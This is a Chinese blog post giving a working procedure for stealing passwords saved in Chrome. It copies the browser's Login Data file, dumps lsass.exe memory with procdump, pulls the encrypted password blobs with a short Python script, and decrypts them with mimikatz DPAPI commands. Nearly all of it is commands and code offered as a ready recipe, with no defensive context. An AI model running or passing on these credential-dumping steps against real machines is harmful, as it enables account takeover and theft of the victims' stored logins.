首页 > 其他分享 >解密-利用Masterkey离线导出Chrome浏览器中保存的密码

解密-利用Masterkey离线导出Chrome浏览器中保存的密码

时间:2022-11-20 15:14:21浏览次数:46  
标签:Masterkey Chrome lsass 离线 cursor 密码 Login Data

利用Masterkey离线导出Chrome浏览器中保存的密码

快速说明

  1. 需要浏览器Login Data文件 和 lsass进程的内存文件

步骤一 获得目标Login Data

copy  %LocalAppData%\Google\Chrome\User Data\Default\Login Data  Login_Data        # 这里保存的文件名改变了,多了个"_"

步骤二 获得lsass进程的内存文件

tasklist /fi "imagename eq lsass.exe"
procdump -accepteula -ma 640 lsass.dmp   管理员权限

步骤三 把Login Data的密码提取出来(会生成test.txt文件)

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login_Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

步骤四 在本地使用mimikatz提取Master Key,解密Login Data获得明文

使用mimikatz加载dmp文件:            # 注:mimikatz从lsass进程提取出Master Key后,会自动将Master Key加入系统缓存
    sekurlsa::minidump lsass.dmp
    sekurlsa::dpapi


使用masterkey解密
    dpapi::blob /in:test.txt


把获得的ascii的密码放到burp里解开即是密码

标签:Masterkey,Chrome,lsass,离线,cursor,密码,Login,Data
From: https://www.cnblogs.com/startstart/p/16908521.html

相关文章

  • Linux系列---【linux如何下载rpm离线安装包到本机】
    linux如何下载rpm离线安装包到本机1.问题在生产环境中,一般都是内网集群,服务器都是离线状态,要想安装一个软件,只能提前下载好,然后把安装包导进去,然后手动安装。这里为了解......
  • chrome浏览器 开发者工具F12中某网站的sources下的源码如何批量保存
    1.常用保存Sources源码的两种方法1.1单个文件直接右键另存为1.2单个页面保存网页,就会把引用到的所有文件下载下来如果页面很多,文件也很多,静态资源也很多,那么得一个一个去......
  • 落谷 R94681591 -- 并查集+离线算法+倒序处理
    题目描述树的变迁思路因为更改点的权值不会改变树的结构,但是删去一条边会改变树的结构,不同与增加一条边,删除一条边的处理是很麻烦(没实现过!!!)既然我们无法删除一条边,那么......
  • Chrome 插件开发入门
    热门插件安全类 ​​LastPass:密码管理器​​一款Freemium的跨平台在线密码管理工具。旨在通过将用户的密码集中在云端以解决密码疲劳。LastPass使用Web界面为基础,但还提......
  • chrome: 保存页面中的canvas为图片(chrome 107.0.5304.110)
    一,得到图片的base641,打开页面后,在当前页面打开开发者工具菜单->更多工具->开发者工具2,在elements页面,找到目标canvas,给它加一个id,如图:  3,在console标签页,输......
  • PaddleOCR(PaddleHub Serving)离线部署包制作
    PaddleOCR(PaddleHubServing)离线部署包制作环境与版本:系统CPU架构Anaconda3PaddlePaddlePaccleOCR银河麒麟ServerV10X86Anaconda3-2021.04-Linux-x86_......
  • Docker离线部署Nginx
    总体思路:在有网络的环境上制作Nginx的镜像包,导出并上传至无网络的环境上,启动Nginx即可。  在上一篇《无网环境DockerRpm离线安装》里面,已经在联网的机器上安装好了......
  • Selenium的使用,安装chromedriver
    注意chrome和ChromeDriver版本对应1、安装32位电脑版chrome默认路径"C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe"2、下载好的chromedriver.exe直接拷......
  • 无网环境Docker Rpm离线安装
    总体思路:找一台可以联网的linux,下载docker的RPM依赖包而不进行安装(yumlocalinstall),将所有依赖的rpm环境打包好,再在无网环境中解压逐一安装(rpm:--force--nodeps)。提前......
  • chrome 消息队列
    渲染进程微队列(最高优先级),如异步请求交互队列(高优先级),如点击事件延时队列(中优先级),如setTimeout//eg.functiona(){console.log(1);Promise.resolve......